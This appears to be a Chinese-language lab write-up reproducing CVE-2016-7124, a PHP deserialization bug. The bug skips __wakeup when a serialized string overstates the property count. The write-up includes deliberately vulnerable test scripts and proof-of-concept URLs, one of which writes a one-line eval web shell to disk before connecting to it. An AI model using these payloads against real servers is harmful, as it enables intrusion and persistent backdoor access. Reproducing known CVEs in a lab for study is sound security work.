CVE-2016-7124php反序列化漏洞復現
0X00漏洞原因
如果存在__wakeup方法,調用 unserilize() 方法前則先調用__wakeup方法,但是序列化字符串中表示對象屬性個數的值大於 真實的屬性個數時會跳過__wakeup的執行
0X01漏洞影響版本
PHP5 < 5.6.25
PHP7 < 7.0.10
0X02漏洞詳情
PHP(PHP:HypertextPreprocessor,PHP:超文本預處理器)是PHPGroup和開放源代碼社區共同維護的一種開源的通用計算機腳本語言。該語言主要用於Web開發,支持多種數據庫及操作系統。PHP5.6.25之前版本和7.0.10之前的7.x版本中的ext/standard/var_unserializer.c文件存在安全漏洞,該漏洞源於程序沒有正確處理無效的對象。遠程攻擊者可借助特制的序列化數據利用該漏洞造成拒絕服務。
0X03漏洞復現環境搭建
使用Windows10操作系統,搭建phpStudy一鍵集成環境搭建web服務。
這里需要將php版本設置為有漏洞的版本。
我這里使用的是php5.4.45+apache+mysql一鍵集成環境
0X04漏洞復現
搭建好后,我們首先需要編寫測試腳本
測試腳本如下:
<?php class test{ public $name = "faairy"; public function __wakeup(){ echo "this is __wakeup<br>"; } public function __destruct(){ echo "this is __destruct<br>"; } } $str = $_GET["s"]; @$un_str = unserialize($str); echo $un_str->name."<br>"; ?>
腳本上標明接收s參數,對其反序列化后輸出name屬性的值。
編寫poc訪問該腳本:
Poc為http://127.0.0.1/test2.php?s=O:4:"test":1:{s:4:"name";s:5:"fairy";}
訪問結果如下圖所示:
根據訪問結果可以看到反序列化之前先調用了__wakeup 方法,再調用_destruct 方法。
將傳入的序列化數據的對象變量個數由1更改為2,頁面只執行了__destruct方法,而且沒有輸出name,是由於反序列化數據時失敗無法創建對象。
修改測試腳本如下:
<?php class test{ public $name = "fairy"; public function __wakeup(){ echo "this is __wakeup<br>"; foreach(get_object_vars($this) as $k => $v){ $this->$k = null; } } public function __destruct(){ echo "this is __destruct<br>"; $fp = fopen("D:\\phpstudy\\PHPTutorial\\WWW\\2333.php","w"); fputs($fp,$this->name); fclose($fp); } } $str = $_GET["s"]; @$un_str = unserialize($str); echo $un_str->name."<br>"; ?>
構造Poc進行寫入一句話木馬操作。
Poc為:http://127.0.0.1/test3.php?s=O:4:"test":1:{s:4:"name";s:29:"<?php @eval($_POST['123']);?>";}
執行后結果如下圖所示:
在對應的文件夾找到剛剛寫入的文件,發現文件中內容為空,沒有一句話木馬,說明寫入失敗。
失敗原因為:__destruct方法在調用時將name參數寫入wcute.php文件但是由於__wakeup方法清除了對象屬性,所以在調用__destruct時已經沒有了name屬性,因此文件將會寫入失敗。
將Poc中對象屬性個數改為2繼續嘗試
Poc為:http://127.0.0.1/test3.php?s=O:4:"test":2:{s:4:"name";s:29:"<?php @eval($_POST['123']);?>";}
執行后如下圖所示:
在對應的文件夾找到該文件發現文件中被寫入了一句話木馬。
如圖所示:
使用菜刀連接發現連接成功,如下圖所示